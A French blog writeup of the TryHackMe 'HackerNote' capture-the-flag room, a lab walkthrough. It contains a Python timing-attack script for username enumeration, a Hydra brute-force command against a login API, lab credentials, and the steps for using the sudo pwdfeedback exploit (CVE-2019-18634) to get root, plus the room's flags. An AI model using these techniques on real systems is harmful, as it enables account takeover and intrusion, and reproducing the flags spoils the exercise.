✍🏼 Writeup – HackerNote room TryHackMe

A custom webapp, introducing username enumeration, custom wordlists and a basic privilege escalation exploit.

Pour ce writeup, je vais suivre les différentes tâches au fur et à mesure, sachant que sur cette room, on est relativement bien guidés du début à la fin.


Task 1 Reconnaissance

You’re presented with a machine. Your first step should be recon. Scan the machine with nmap, work out what’s running.

Je m’exécute, et je lance mon scan Nmap.

Explications sur la commande :

  • -sS : On souhaite faire un TCP SYN (Stealth) scan (ou half open scan car on ne réalise pas l’intégralité du 3-way handshake TCP).
  • -A : Aggressive scan options = active la détection d’OS (-O) , le scan de version (-sV), utilisation des scripts par défaut (-sC) et réalise un traceroute de la cible (–traceroute).
  • -Pn : Considérer tous les hôtes comme étant connectés (saute l’étape de découverte des hôtes).
  • -p- : Scan l’intégralité des ports possibles.
  • -T4* : Choisit la « politique de temporisation » 4 (la plus rapide étant la 5, par défaut nmap utilise la valeur 3).
  • -oA : Sortie dans les trois formats majeurs en même temps (normal, XML et grepable).

* Concernant la « politique de temporisation », je choisis volontairement une valeur élevée pour scanner plus rapidement, mais attention à 2 choses :

  • Si votre connexion est mauvaise, il risque d’y avoir des retransmissions voire des échecs de communication, donc au final temps rallongé et résultat de scan bancal.
  • En condition réelle de pentest plus le scan est « rapide » plus il va avoir de chance d’être vu avec des solutions IDS/IPS (Intrusion Detection/Prevention System) et des pics vont être immédiatement visibles sur un éventuel SIEM (Security Information and Event Management) donc privilégier un scan plus « lent ».

Which ports are open? (in numerical order)

Suite au scan Nmap, je peux répondre aisément :

22,80,8080

What programming language is the backend written in?

Toujours grâce au scan, en regardant du côté des ports 80 et 8080, je remarque l’en-tête suivante : Golang net/http server

Je déduis que le langage utilisé est le Go !


Task 2 Investigate

Now that you know what’s running, you need to investigate. With webapps, the normal process is to click around. Create an account, use the web app as a user would and play close attention to details.

En visitant le site web hébergé derrière le port 80 de l’IP du challenge, on tombe sur le site ci-dessus.

Create your own user account

Je clique alors sur le lien Login situé en haut à droite, et je créé un nouveau compte en remplissant le formulaire dédié.

Après avoir renseigné tous les champs je valide la création en cliquant sur le bouton Create User, et le site m’affiche un message de validation une fois terminé.

Log in to your account

Je me connecte à mon compte fraîchement créé.

Je me connecte, et je vous une interface minimaliste. On voit nos notes et on peut en ajouter de nouvelles.

Try and log in to an invalid user account

Je commence par me déconnecter de mon compte via un clic sur le bouton Logout, puis je tente de me connecter avec un compte a priori inexistant et un mot de passe :

Suite au clic sur le bouton Login, je reçois immédiatement le message suivant : Invalid Username Or Password.

Try and log in to your account, with an incorrect password.

Un peu différent cette fois-ci, je vais me connecter avec mon identifiant de compte, mais avec un mot de passe faux :

Cette fois encore on obtient le même message, mais avant le message suivant est affiché durant plus d’une seconde : Logging you in…

Notice the timing difference. This allows user enumeration

En effet, je valide ce constat, et après avoir tenté à de multiple reprises, je remarque un délai de plus d’une seconde dans le cas ou l’utilisateur est inconnu contre quelques dizaines de millisecondes dans le cas où l’utilisateur existe bien.
Nous pouvons passer à l’énumération !


Task 3 Exploit

Use the timing attack

Now that we know there’s a timing attack, we can write a python script to exploit it.

The first step is working out how login requests work. You can use Burpsuite for this, but I prefer to use Firefox dev tools as I don’t have to configure any proxies.

Here we can see the login is a POST request to /api/user/login. This means we can make this request using CURL, python or another programming language of your choice.

Mes soupçons étaient bons, on demande alors d’exploiter cette différence de temps entre utilisateur existant et inexistant.

Try to write a script to perform a timing attack.

Pour mettre en œuvre l’énumération, il est demandé de réaliser un script Python, encore une fois je m’exécute :

#!/usr/bin/env python3
import sys
import requests
import time

def main():
    host = '10.10.144.233'

    with open(sys.argv[1]) as f:
        usernames = f.readlines()
    usernames = [x.strip() for x in usernames] 

    for username in usernames:
        start = time.time()
        creds = {"username":username,"password":"password"}
        r = requests.post("http://{}/api/user/login".format(host), data=creds)
        done = time.time()
        elapsed = done - start
        if elapsed > 1:
            print("[*] Valid user found: {}".format(username))

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print("Usage: {} /path/usernames/file.txt".format(sys.argv[0]))
        sys.exit(1) 
    main()

How many usernames from the list are valid?

Je lance alors le script avec la liste names.txt de SecLists (/usr/share/seclists/Usernames/Names/names.txt), et au bout d’un certain temps (il faut compter plus d’une seconde par utilisateur en échec donc c’est long), on arrive au bout de la liste et je récupère une maigre liste d’utilisateurs valides :

1 seul utilisateur !

What are/is the valid username(s)?

Voici la (longue) liste d’utilisateur(s) valide(s) trouvé(s) :

james


Task 4 Attack Passwords

Next Step

Now that we have a username, we need a password. Because the passwords are hashed with bcrypt and take a noticeable time to verify, bruteforcing with a large wordlist like rockyou is not feasible.
Fortunately, this webapp has password hints!

With the username that we found in the last step, we can retrieve the password hint. From this password hint, we can create a wordlist and (more) efficiently bruteforce the user’s password.

Create your wordlist

The password hint is « my favourite colour and my favourite number », so we can get a wordlist of colours and a wordlist of digits and combine them using Hashcat Util’s Combinator which will give us every combination of the two wordlists. Using this wordlist, we can then use Hydra to attack the login API route and find the password for the user. Download the attached wordlist files, look at them then combine them using hashcat-util’s combinator.
Hashcat utils can be downloaded from: https://github.com/hashcat/hashcat-utils/releases
Either add these to your PATH, or run them from the folder.
We want to use the Combinator.bin binary, with colors.txt and numbers.txt as the input. The command for this is (assuming you’re in the directory with the binaries and have copiesd the txt files into that directory):

./combinator.bin colors.txt numbers.txt > wordlist.txt

This will then give you a wordlist to use for Hydra.

Attack the API

The HTTP POST request that we captured earlier tells us enough about the API that we can use Hydra to attack it.
The API is actually designed to either accept Form data, or JSON data. The frontend sends JSON data as a POST request, so we will use this. Hydra allows attacking HTTP POST requests, with the HTTP-POST module. To use this, we need:

  • Request Body – JSON{« username »: »admin », »password »: »admin »}
  • Request Path – /api/user/login
  • Error message for incorrect logins – « Invalid Username Or Password »

The command for this is (replace the parts with angle brackets, you will need to escape special characters):

hydra -l <username> -P <wordlist> 192.168.2.62 http-post-form <path>:<body>:<fail_message>

Une fois la phase d’énumération, je vais tenter de trouver le mot de passe associé à l’utilisateur.
Pour cela, j’ai commencé par créer la wordlist custom comme proposé dans l’énoncé.

Form the hydra command to attack the login API route

Avec les données de la consigne, ainsi que ce que j’ai en ma possession je créé donc la commande qui convient afin de réaliser une attaque par force brute sur le mot de passe de l’utilisateur trouvé :
hydra -l james -P wordlist.txt 10.10.139.82 http-post-form "/api/user/login:username=^USER^&password=^PASS^:F=Invalid Username Or Password"

How many passwords were in your wordlist?

Avec l’aide de la commande wc, je récupère le nombre de mots de passe contenus dans la liste préalablement générée :
wc -l wordlist.txt                                                                                                                             
180 wordlist.txt

What was the user’s password?

Hydra finit par trouver le mot de passe de l’utilisateur :

blue7

Login as the user to the platform

Je continue à faire ce que me disent les consignes, et je me connecte avec les identifiants de l’utilisateur découvert.

What’s the user’s SSH password?

Comme indiqué très clairement dans la note déposée par l’utilisateur :

dak4ddb37b

Log in as the user to SSH with the credentials you have.

Sans surprise, connexion avec succès grâce aux identifiants récoltés.

Connexion SSH avec identifiants trouvés

What’s the user flag?

Après m’être connecté, j’ai réalisé un rapide tour d’horizon et j’ai récupéré le flag utilisateur.

Flag utilisateur
Flag utilisateur découvert :

thm{56911bd7ba1371a3221478aa5c094d68}


Task 5 Escalate

Enumeration of privileges

Now that you have an SSH session, you can grab the user flag. But that shouldn’t be enough for you, you need root.
A good first step for privilege escalation is seeing if you can run sudo. You have the password for the current user, so you can run the command:

sudo -l

This command tells you what commands you can run as the superuser with sudo. Unfortunately, the current user cannot run any commands as root. You may have noticed, however, that when you enter your password you see asterisks. This is not default behaviour. There was a recent CVE released that affects this configuration. The setting is called pwdfeedback.

Je suis connecté en utilisateur standard, place maintenant à l’escalade de privilèges !

What is the CVE number for the exploit?

Une rapide recherche avec les mots clés CVE,pwdfeedback m’ont conduit à trouver la CVE :

CVE-2019-18634

Find the exploit from https://github.com/saleemrashid/ and download the files.

De la même manière, une recherche ciblée avec le numéro de la CVE ainsi que les termes exploit et github m’ont emmené directement dans le bon repo.

Compile the exploit from Kali linux.

Une fois le repo cloné, je me suis dirigé dans le dossier contenant les sources, il y avait un Makefile, j’ai pu lancer un make all afin de générer l’exploit.

SCP the exploit binary to the box.

J’ai opté pour la création d’un serveur http python rapide (python3 -m http.server) dans le dossier contenant le binaire compilé, puis je l’ai téléchargé sur la cible avec wget.

Run the exploit, get root.

Je rend exécutable le binaire (chmod +x exploit), je le lance (./exploit) et là, comme par magie … un shell s’ouvre en root !

Téléchargement et exécution de l’exploit

What is the root flag?

De la même manière que pour le flag utilisateur, en navigant dans le répertoire /root j’ai trouvé mon bonheur !

Flag root
Flag root découvert :

thm{af55ada6c2445446eb0606b5a2d3a4d2}

Retour d’expérience

Une room rapidement exécutée et totalement guidée (jusqu’au choix des outils) et classifié en medium par TryHackMe.
Personnellement je la classerai en easy à la fois car la salle est assez simple de base et peu technique, et ensuite car nous sommes totalement pris par la main tout au long de la progression.

Pour ma part j’évaluerais plutôt à une trentaine de minutes le temps de réalisation.

Conclusion

Un challenge assez simple mais néanmoins très complet.
On passe toutes les étapes de la reconnaissance à l’élévation de privilèges (il ne manque plus que la persistance).

Même si j’ai été désabusé par l’excès de consignes et le mode « couloir » de la room, j’ai quand même apprécié la progression ainsi que l’aspect très complet de cette dernière.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *